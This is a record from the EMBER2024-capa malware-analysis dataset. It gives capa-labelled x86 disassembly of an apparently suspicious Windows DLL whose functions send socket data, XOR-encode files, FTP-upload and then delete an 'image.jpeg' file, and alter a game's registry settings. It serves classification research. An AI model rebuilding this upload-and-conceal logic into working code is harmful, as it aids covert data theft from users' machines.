joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001b10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10001b69
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001b79
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10001b39
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10001bb2
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x1001f960
call fcn.1000f100
add esp, 4
push eax
push 0
mov ecx, 0x10120080
call fcn.10006b00
add esp, 0xc
call fcn.100016c0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100020b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x20
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002110
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x100020f6
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [esi + 4], 0
mov ecx, dword [esi + 8]
push ecx
call fcn.10012150
add esp, 4
mov dword [esi + 4], eax
test eax, eax
jne 0x10002117
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
push 0
lea edx, [ebp - 4]
push edx
push ecx
push eax
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x1000210a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10002150
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
call fcn.100020b0
test al, al
jne 0x10002165
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [esi + 8]
cmp edi, 8
jae 0x10002176
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov eax, 0x1001568c
mov ecx, 8
sub edx, eax
push ebx
jmp 0x10002190
mov ebx, dword [edx + eax]
cmp ebx, dword [eax]
jne 0x10002261
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x10002190
add edi, 0xfffffff8
xor eax, eax
test edi, edi
jle 0x100021f3
nop
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0x1f
movsx edx, byte [edx + 0x101202c4]
and edx, 0xf
movzx edx, byte [edx + 0x10015694]
sub byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0xf
movzx edx, byte [edx + 0x10015694]
xor byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 8]
inc eax
sub ecx, 8
cmp eax, ecx
jl 0x100021b0
lea edi, [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 0x2710
idiv ecx
push edx
push 0x100156a4
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x102
push 2
push 0
push 7
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002261
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
push 0
lea edx, [ebp - 4]
push edx
sub eax, 8
push eax
add ecx, 8
push ecx
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x1000226a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002280
Capabilities:
Delete file

Disassembly:
push edi
lea edi, [esi + 0xc]
mov ecx, 0x100156c0
mov eax, edi
jmp 0x10002290
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100022b0
test dl, dl
je 0x100022ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100022b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002290
xor eax, eax
jmp 0x100022b5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100022ec
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x100022ec
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
push 0x100
push 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call sub.MSVCR100.dll_memset
add esp, 0x10
pop edi
ret
Function at 0x100023b0
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Delete file
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10125130], 0
push ebx
push esi
push edi
je 0x100024e1
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1011ffd0]
cmp eax, 0x927c0
jb 0x100023ef
call esi
mov dword [0x1011ffd0], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push 0x10125178
mov ebx, eax
movzx eax, word [0x10125154]
push 0x10125158
push eax
push 0x10125134
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [ebp - 0x120]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x11a]
movzx eax, word [ebp - 0x11e]
movzx ecx, word [ebp - 0x120]
push edx
push eax
push ecx
lea edx, [ebp - 0x110]
push str._04d__02d__02d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
lea edi, [ebp - 0x13c]
call fcn.10002610
mov eax, dword [ebp - 0x13c]
mov edi, 0x10
cmp dword [ebp - 0x128], edi
jae 0x1000249a
lea eax, [ebp - 0x13c]
push 0
push 2
push eax
push str.image.jpeg
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x100024bb
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push str.image.jpeg
call dword [sym.imp.MSVCR100.dll_remove]
add esp, 4
cmp dword [ebp - 0x128], edi
jb 0x100024e1
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012204
mov esp, ebp
pop ebp
ret
Function at 0x10002500
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov dword [ebp - 0x210], eax
call esi
sub eax, dword [0x1011ffd0]
cmp eax, 0x927c0
jb 0x1000253a
call esi
mov dword [0x1011ffd0], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
movzx ecx, word [0x10125154]
push 0
push 0
push 1
push 0x10125178
push 0x10125158
push ecx
mov edi, eax
push 0x10125134
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, dword [str.Tools]
push 0xfe
mov esi, eax
mov ax, word [0x100156e4]
lea ecx, [ebp - 0x102]
push 0
push ecx
mov dword [ebp - 0x108], edx
mov word [ebp - 0x104], ax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
mov eax, dword [ebp - 0x210]
push eax
lea ecx, [ebp - 0x108]
push ecx
push str._s__s
lea edx, [ebp - 0x20c]
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x14
push 0
push 2
lea eax, [ebp - 0x20c]
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x100025fa
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10012204
mov esp, ebp
pop ebp
ret 4
Function at 0x10002ef0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1011fff8]
cmp eax, 0x64
jle 0x10002f11
mov eax, 1
jmp 0x10002f12
inc eax
push eax
mov dword [0x1011fff8], eax
lea eax, [ebp - 0x28]
push 0x1001577c
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x2c]
push ecx
push 0xf003f
push 0
push str.SOFTWAREWebzenMuConfig
push getpeername
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002f6b
push 0x24
lea edx, [ebp - 0x28]
push edx
push 1
push eax
mov eax, dword [ebp - 0x2c]
push str.VolumeEffect
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
call fcn.10012204
mov esp, ebp
pop ebp
ret
Function at 0x100035b0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x1012b428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jc]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x100035d0
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x1012b428
push 0
mov ecx, 0x10120080
call fcn.10006b00
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10125fd0], ecx
mov dword [ebp - 8], 0
jbe 0x100037b5
mov edi, dword [0x10120028]
lea eax, [esi + 0xa]
mov esi, dword [0x10120024]
mov dword [ebp - 4], eax
cmp eax, edi
jae 0x100036fd
cmp esi, eax
ja 0x100036fd
mov ecx, eax
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp edi, dword [0x1012002c]
jne 0x100036d6
mov ecx, edi
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x38e38e2
ja 0x100037c6
mov edx, dword [0x1012002c]
sub edx, esi
mov eax, 0x38e38e39
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x100036d6
mov edx, eax
shr edx, 1
mov esi, 0x38e38e3
sub esi, edx
cmp esi, eax
jae 0x100036b7
xor eax, eax
jmp 0x100036b9
add eax, edx
cmp eax, ecx
jae 0x100036bf
mov eax, ecx
push eax
mov ecx, 0x10120024
call fcn.100048d0
mov edi, dword [0x10120028]
mov esi, dword [0x10120024]
lea edx, [ebx + ebx*8]
lea eax, [esi + edx*8]
test edi, edi
je 0x100036f5
mov ecx, 0x12
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x10120028]
mov esi, dword [0x10120024]
mov eax, dword [ebp - 4]
jmp 0x10003790
mov ebx, dword [0x1012002c]
cmp edi, ebx
jne 0x10003777
mov ecx, edi
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x38e38e2
ja 0x100037c6
mov edx, ebx
sub edx, esi
mov eax, 0x38e38e39
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003774
mov edx, eax
shr edx, 1
mov esi, 0x38e38e3
sub esi, edx
cmp esi, eax
jae 0x10003755
xor eax, eax
jmp 0x10003757
add eax, edx
cmp eax, ecx
jae 0x1000375d
mov eax, ecx
push eax
mov ecx, 0x10120024
call fcn.100048d0
mov edi, dword [0x10120028]
mov esi, dword [0x10120024]
mov eax, dword [ebp - 4]
test edi, edi
je 0x10003790
mov ecx, 0x12
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x10120028]
mov esi, dword [0x10120024]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 8]
add edi, 0x48
mov dword [0x10120028], edi
movzx edx, byte [edx + 8]
inc ecx
add eax, 0x48
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
cmp ecx, edx
jl 0x10003638
pop edi
pop esi
mov dword [0x10125fbc], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x100037e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x1012b428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x1001ea60]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x10003800
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x1012b428
push 0
mov ecx, 0x10120080
call fcn.10006b00
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10125fd4], ecx
mov dword [ebp - 8], 0
jbe 0x100039d9
mov ebx, dword [0x10120038]
lea ecx, [esi + 0xa]
mov esi, dword [0x10120034]
mov dword [ebp - 4], ecx
cmp ecx, ebx
jae 0x10003918
cmp esi, ecx
ja 0x10003918
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov edi, edx
shr edi, 0x1f
add edi, edx
cmp ebx, dword [0x1012003c]
jne 0x10003904
mov ecx, ebx
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xf83e0e
ja 0x100039ea
mov edx, dword [0x1012003c]
sub edx, esi
mov eax, 0x3e0f83e1
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003904
mov edx, eax
shr edx, 1
mov esi, 0xf83e0f
sub esi, edx
cmp esi, eax
jae 0x100038e5
xor eax, eax
jmp 0x100038e7
add eax, edx
cmp eax, ecx
jae 0x100038ed
mov eax, ecx
push eax
mov ecx, 0x10120034
call fcn.100049c0
mov ebx, dword [0x10120038]
mov esi, dword [0x10120034]
imul edi, edi, 0x108
add edi, esi
test ebx, ebx
je 0x100039ab
mov esi, edi
jmp 0x10003996
mov edi, dword [0x1012003c]
cmp ebx, edi
jne 0x1000398f
mov ecx, ebx
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xf83e0e
ja 0x100039ea
mov edx, edi
sub edx, esi
mov eax, 0x3e0f83e1
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x1000398f
mov edx, eax
shr edx, 1
mov esi, 0xf83e0f
sub esi, edx
cmp esi, eax
jae 0x10003970
xor eax, eax
jmp 0x10003972
add eax, edx
cmp eax, ecx
jae 0x10003978
mov eax, ecx
push eax
mov ecx, 0x10120034
call fcn.100049c0
mov ebx, dword [0x10120038]
mov esi, dword [0x10120034]
test ebx, ebx
je 0x100039ab
mov esi, dword [ebp - 4]
mov edi, ebx
mov ecx, 0x42
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [0x10120038]
mov esi, dword [0x10120034]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ebx, 0x108
mov dword [0x10120038], ebx
movzx edx, byte [edx + 8]
inc eax
add ecx, 0x108
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
cmp eax, edx
jl 0x10003868
pop edi
pop esi
mov dword [0x10125fc0], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x10003a00
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x1012b428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_j_]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x10003a20
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x1012b428
push 0
mov ecx, 0x10120080
call fcn.10006b00
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10125fd8], ecx
mov dword [ebp - 8], 0
jbe 0x10003bfa
mov ebx, dword [0x10120048]
lea ecx, [esi + 0xa]
mov esi, dword [0x10120044]
mov dword [ebp - 4], ecx
cmp ecx, ebx
jae 0x10003b38
cmp esi, ecx
ja 0x10003b38
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov edi, edx
shr edi, 0x1f
add edi, edx
cmp ebx, dword [0x1012004c]
jne 0x10003b24
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xfb1884
ja 0x10003c0b
mov edx, dword [0x1012004c]
sub edx, esi
mov eax, 0x7d8c42b3
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003b24
mov edx, eax
shr edx, 1
mov esi, 0xfb1885
sub esi, edx
cmp esi, eax
jae 0x10003b05
xor eax, eax
jmp 0x10003b07
add eax, edx
cmp eax, ecx
jae 0x10003b0d
mov eax, ecx
push eax
mov ecx, 0x10120044
call fcn.10004ab0
mov ebx, dword [0x10120048]
mov esi, dword [0x10120044]
imul edi, edi, 0x105
add edi, esi
test ebx, ebx
je 0x10003bcc
mov esi, edi
jmp 0x10003bb6
mov edi, dword [0x1012004c]
cmp ebx, edi
jne 0x10003baf
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xfb1884
ja 0x10003c0b
mov edx, edi
sub edx, esi
mov eax, 0x7d8c42b3
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003baf
mov edx, eax
shr edx, 1
mov esi, 0xfb1885
sub esi, edx
cmp esi, eax
jae 0x10003b90
xor eax, eax
jmp 0x10003b92
add eax, edx
cmp eax, ecx
jae 0x10003b98
mov eax, ecx
push eax
mov ecx, 0x10120044
call fcn.10004ab0
mov ebx, dword [0x10120048]
mov esi, dword [0x10120044]
test ebx, ebx
je 0x10003bcc
mov esi, dword [ebp - 4]
mov edi, ebx
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, dword [0x10120048]
mov esi, dword [0x10120044]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ebx, 0x105
mov dword [0x10120048], ebx
movzx edx, byte [edx + 8]
inc eax
add ecx, 0x105
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
cmp eax, edx
jl 0x10003a88
pop edi
pop esi
mov dword [0x10125fc4], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x10003c20
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x1012b428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jv]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x10003c40
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x1012b428
push 0
mov ecx, 0x10120080
call fcn.10006b00
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x10125fdc], ecx
mov dword [ebp - 8], 0
jbe 0x10003e2a
mov edi, dword [0x10120058]
lea eax, [esi + 0xa]
mov esi, dword [0x10120054]
mov dword [ebp - 4], eax
cmp eax, edi
jae 0x10003d71
cmp esi, eax
ja 0x10003d71
mov ecx, eax
sub ecx, esi
mov eax, 0x7e07e07f
imul ecx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp edi, dword [0x1012005c]
jne 0x10003d46
mov ecx, edi
sub ecx, esi
mov eax, 0x7e07e07f
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x3f03f02
ja 0x10003e3b
mov edx, dword [0x1012005c]
sub edx, esi
mov eax, 0x7e07e07f
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003d46
mov edx, eax
shr edx, 1
mov esi, 0x3f03f03
sub esi, edx
cmp esi, eax
jae 0x10003d27
xor eax, eax
jmp 0x10003d29
add eax, edx
cmp eax, ecx
jae 0x10003d2f
mov eax, ecx
push eax
mov ecx, 0x10120054
call fcn.10004ba0
mov edi, dword [0x10120058]
mov esi, dword [0x10120054]
mov eax, ebx
shl eax, 6
add eax, esi
add eax, ebx
test edi, edi
je 0x10003d69
mov ecx, 0x10
mov esi, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x10120058]
mov esi, dword [0x10120054]
mov eax, dword [ebp - 4]
jmp 0x10003e05
mov ebx, dword [0x1012005c]
cmp edi, ebx
jne 0x10003deb
mov ecx, edi
sub ecx, esi
mov eax, 0x7e07e07f
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x3f03f02
ja 0x10003e3b
mov edx, ebx
sub edx, esi
mov eax, 0x7e07e07f
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003de8
mov edx, eax
shr edx, 1
mov esi, 0x3f03f03
sub esi, edx
cmp esi, eax
jae 0x10003dc9
xor eax, eax
jmp 0x10003dcb
add eax, edx
cmp eax, ecx
jae 0x10003dd1
mov eax, ecx
push eax
mov ecx, 0x10120054
call fcn.10004ba0
mov edi, dword [0x10120058]
mov esi, dword [0x10120054]
mov eax, dword [ebp - 4]
test edi, edi
je 0x10003e05
mov ecx, 0x10
mov esi, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x10120058]
mov esi, dword [0x10120054]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 8]
add edi, 0x41
mov dword [0x10120058], edi
movzx edx, byte [edx + 8]
inc ecx
add eax, 0x41
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
cmp ecx, edx
jl 0x10003ca8
pop edi
pop esi
mov dword [0x10125fc8], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x10004030
Capabilities:
Encode data using xor

Disassembly:
push ebx
push 0x100
push 0
push 0x1012b428
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x10004050
mov cl, byte [eax + str.r_jj]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x10004050
movzx edx, byte [esi + 4]
push edx
push 0x1012b428
push 0
mov ecx, 0x10120080
call fcn.10006b00
movzx eax, byte [esi + 4]
add esp, 0xc
cmp eax, 0xb
ja case.default.0x1000408c
jmp dword [eax*4 + 0x1000411c]
mov ecx, 0xe
jmp 0x100040fd
mov ecx, 0xf
jmp 0x100040fd
mov ecx, 0x10
jmp 0x100040fd
mov ecx, 0x11
jmp 0x100040fd
mov ecx, 0x12
jmp 0x100040fd
mov ecx, 0x13
jmp 0x100040fd
mov ecx, 0x14
jmp 0x100040fd
mov ecx, 0x16
jmp 0x100040fd
mov ecx, 0x18
jmp 0x100040fd
mov ecx, 0x19
jmp 0x100040fd
push 0x7d0
mov ecx, 0x64
call fcn.10007260
push eax
push 2
mov ebx, 0x10125428
call fcn.1000ef90
add esp, 0xc
mov ecx, 0x15
push 0x1388
call fcn.10007260
push eax
push 2
mov ebx, 0x10125428
call fcn.1000ef90
add esp, 0xc
pop ebx
ret
Function at 0x100043c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
cmp dword [0x10125ffc], 1
push edi
je 0x10004474
mov ecx, dword [0x10120024]
mov dword [0x10125fb8], ebx
mov dword [0x10125fbc], ebx
mov dword [0x10125fc0], ebx
mov dword [0x10125fc4], ebx
mov dword [0x10125fc8], ebx
mov dword [0x10125fcc], ebx
mov dword [0x10125fd0], ebx
mov dword [0x10125fd4], ebx
mov dword [0x10125fd8], ebx
mov dword [0x10125fdc], ebx
mov dword [0x10125fe0], ebx
cmp ecx, dword [0x10120028]
je 0x10004438
mov dword [0x10120028], ecx
mov ecx, dword [0x10120034]
cmp ecx, dword [0x10120038]
je 0x1000444c
mov dword [0x10120038], ecx
mov ecx, dword [0x10120044]
cmp ecx, dword [0x10120048]
je 0x10004460
mov dword [0x10120048], ecx
mov ecx, dword [0x10120054]
cmp ecx, dword [0x10120058]
je 0x10004474
mov dword [0x10120058], ecx
mov word [ebp - 0x3c], 0x38c1
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x1000448e
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [0x101251b4]
mov edx, dword [str.PREMIUM]
mov byte [ebp - 0x3a], al
mov eax, dword [0x10125ffc]
mov dword [ebp - 0x38], eax
mov eax, dword [0x100158f4]
mov byte [ebp - 0x39], bl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
call fcn.1000f200
push 0x100
mov esi, eax
push ebx
mov ecx, 9
lea edi, [ebp - 0x28]
push 0x1012b428
rep movsd dword es:[edi], dword [esi]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001ed60]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x1012b428], cl
inc eax
cmp eax, 0x100
jl 0x100044e0
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x28]
push edx
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x30]
push eax
push ecx
push edx
push 0x1012b428
push ebx
mov ecx, 0x10120080
call fcn.10006b00
movzx ecx, byte [ebp - 0x3b]
add esp, 0x18
lea edx, [ebp - 0x3c]
call fcn.10001940
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012204
mov esp, ebp
pop ebp
ret